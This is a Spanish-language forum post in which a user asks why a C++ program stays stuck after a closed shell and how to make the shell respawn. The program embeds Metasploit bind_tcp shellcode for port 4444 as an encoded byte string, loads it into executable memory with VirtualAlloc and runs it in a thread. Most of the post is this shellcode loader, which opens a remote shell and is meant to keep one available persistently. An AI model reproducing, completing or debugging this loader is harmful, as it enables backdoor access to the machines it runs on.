Hola! Como va? Bueno, estoy teniendo problemas con lo siguiente, necesito que mi programa spawnee una shell en el puerto 4444.
Para esto, utilicé el payload bind_tcp en el puerto 4444, con el parámetro exit mode en "Thread" para que cierre el thread una vez que se termina.
Este es el código que utilicé:
#include <process.h>
#include <iostream>
void SpawnShell(void *dummy);
using namespace std;
char szShellPayload[] = "\xdd\xc2\xba\x9f\xde\x8a\x09\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x56\x31\x50\x18\x03\x50\x18\x83\xe8\x63\x3c\x7f\xf5\x73\x48\x80\x06\x83\x2b\x08\xe3\xb2\x79\x6e\x67\xe6\x4d\xe4\x25\x0a\x25\xa8\xdd\x99\x4b\x65\xd1\x2a\xe1\x53\xdc\xab\xc7\x5b\xb2\x6f\x49\x20\xc9\xa3\xa9\x19\x02\xb6\xa8\x5e\x7f\x38\xf8\x37\x0b\xea\xed\x3c\x49\x36\x0f\x93\xc5\x06\x77\x96\x1a\xf2\xcd\x99\x4a\xaa\x5a\xd1\x72\xc1\x05\xc2\x83\x06\x56\x3e\xcd\x23\xad\xb4\xcc\xe5\xff\x35\xff\xc9\xac\x0b\xcf\xc4\xad\x4c\xe8\x36\xd8\xa6\x0a\xcb\xdb\x7c\x70\x17\x69\x61\xd2\xdc\xc9\x41\xe2\x31\x8f\x02\xe8\xfe\xdb\x4d\xed\x01\x0f\xe6\x09\x8a\xae\x29\x98\xc8\x94\xed\xc0\x8b\xb5\xb4\xac\x7a\xc9\xa7\x09\x23\x6f\xa3\xb8\x30\x09\xee\xd4\xf5\x24\x11\x25\x91\x3f\x62\x17\x3e\x94\xec\x1b\xb7\x32\xea\x5c\xe2\x83\x64\xa3\x0c\xf4\xad\x60\x58\xa4\xc5\x41\xe0\x2f\x16\x6d\x35\xff\x46\xc1\xe5\x40\x37\xa1\x55\x29\x5d\x2e\x8a\x49\x5e\xe4\xbd\x4d\x90\xdc\xee\x39\xd1\xe2\x01\xe6\x5c\x04\x4b\x06\x09\x9e\xe3\xe4\x6e\x17\x94\x17\x45\x0b\x0d\x80\xd1\x45\x89\xaf\xe1\x43\xba\x1c\x49\x04\x48\x4f\x4e\x35\x4f\x5a\xe6\x3c\x68\x0d\x7c\x51\x3b\xaf\x81\x78\xab\x4c\x13\xe7\x2b\x1a\x08\xb0\x7c\x4b\xfe\xc9\xe8\x61\x59\x60\x0e\x78\x3f\x4b\x8a\xa7\xfc\x52\x13\x25\xb8\x70\x03\xf3\x41\x3d\x77\xab\x17\xeb\x21\x0d\xce\x5d\x9b\xc7\xbd\x37\x4b\x91\x8d\x87\x0d\x9e\xdb\x71\xf1\x2f\xb2\xc7\x0e\x9f\x52\xc0\x77\xfd\xc2\x2f\xa2\x45\xfc\xde\x7e\x50\x69\x79\xeb\x19\xf7\x7a\xc6\x5e\x0e\xf9\xe2\x1e\xf5\xe1\x87\x1b\xb1\xa5\x74\x56\xaa\x43\x7a\xc5\xcb\x41;\xbb\x6c\x09\x32\x41\xdb\xc9\xd9\x74\x24\xf4\x5f\x31\xc9\xb1\x56\x31\x5f\x13\x03\x5f\x13\x83\xc7\x68\xeb\xc7\xbd\x98\x62\x27\x3e\x58\x15\xa1\xdb\x69\x07\xd5\xa8\xdb\x97\x9d\xfd\xd7\x5c\xf3\x15\x6c\x10\xdc\x1a\xc5\x9f\x3a\x14\xd6\x11\x83\xfa\x14\x33\x7f\x01\x48\x93\xbe\xca\x9d\xd2\x87\x37\x6d\x86\x50\x33\xdf\x37\xd4\x01\xe3\x36\x3a\x0e\x5b\x41\x3f\xd1\x2f\xfb\x3e\x02\x9f\x70\x08\xba\x94\xdf\xa9\xbb\x79\x3c\x95\xf2\xf6\xf7\x6d\x05\xde\xc9\x8e\x37\x1e\x85\xb0\xf7\x93\xd7\xf5\x30\x4b\xa2\x0d\x43\xf6\xb5\xd5\x39\x2c\x33\xc8\x9a\xa7\xe3\x28\x1a\x64\x75\xba\x10\xc1\xf1\xe4\x34\xd4\xd6\x9e\x41\x5d\xd9\x70\xc0\x25\xfe\x54\x88\xfe\x9f\xcd\x74\x51\x9f\x0e\xd0\x0e\x05\x44\xf3\x5b\x3f\x07\x9c\xa8\x72\xb8\x5c\xa6\x05\xcb\x6e\x69\xbe\x43\xc3\xe2\x18\x93\x24\xd9\xdd\x0b\xdb\xe1\x1d\x05\x18\xb5\x4d\x3d\x89\xb5\x05\xbd\x36\x60\x89\xed\x98\xda\x6a\x5e\x59\x8a\x02\xb4\x56\xf5\x33\xb7\xbc\x80\x73\x79\xe4\xc1\x13\x78\x1a\xf4\xbf\xf5\xfc\x9c\x2f\x50\x56\x08\x92\x87\x6f\xaf\xed\xed\xc3\x78\x7a\xb9\x0d\xbe\x85\x3a\x18\xed\x2a\x92\xcb\x65\x21\x27\xed\x7a\x6c\x0f\x64\x43\xe7\xc5\x18\x06\x99\xda\x30\xf0\x3a\x48\xdf\x00\x34\x71\x48\x57\x11\x47\x81\x3d\x8f\xfe\x3b\x23\x52\x66\x03\xe7\x89\x5b\x8a\xe6\x5c\xe7\xa8\xf8\x98\xe8\xf4\xac\x74\xbf\xa2\x1a\x33\x69\x05\xf4\xed\xc6\xcf\x90\x68\x25\xd0\xe6\x74\x60\xa6\x06\xc4\xdd\xff\x39\xe9\x89\xf7\x42\x17\x2a\xf7\x99\x93\x00\xc2\xc3\xb9\x3c\x6b\x96\xff\x20\x8c\x4d\xc3\x5c\x0f\x67\xbc\x9a\x0f\x02\xb9\xe7\x97\xff\xb3\x78\x72\xff\x60\x78\x57";
int main()
{
_beginthread(SpawnShell, 0, 0);
system("pause");
return 0;
}
void SpawnShell(void *dummy)
{
void *vPayload = VirtualAlloc(0, sizeof(szShellPayload)-2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(vPayload, szShellPayload, sizeof(szShellPayload)-2);
HANDLE hThread = (void*) _beginthread((void (*) (void*)) vPayload, 0, 0);
do
{
Sleep(2000);
DWORD dwExit = 0;
cout << (DWORD) hThread << endl << GetExitCodeThread(hThread, &dwExit) << endl << dwExit << endl;
if(GetThreadPriority(hThread) == THREAD_PRIORITY_ERROR_RETURN) hThread = (void*) _beginthread((void (*) (void*)) vPayload, 0, 0);
}while(true);
}
El programa funciona bien, pero el problema es que cuando cierro la shell una vez que la usé, en vez de cerrar correctamente, se queda trabado el thread en vez de llamar a la función devuelta.
Esto me devuelve:
(la dirección de hThread)
1
0
Y no cambia cuando cierro la shell.
Necesito que una vez que se cerró la shell, esta se spawnee devuelta. Cómo puedo hacer esto?? qué estoy haciendo mal?
Gracias!
APOKLIPTICO.
PD: El metasploit permite elegir otros métodos para terminar el shellcode, pero:
Process: Cierra el proceso, lo cual no quiero.
Seh (Structured Exception Handler): Salta un error en tiempo de ejecución.
None: Salta un error en tiempo de ejecución.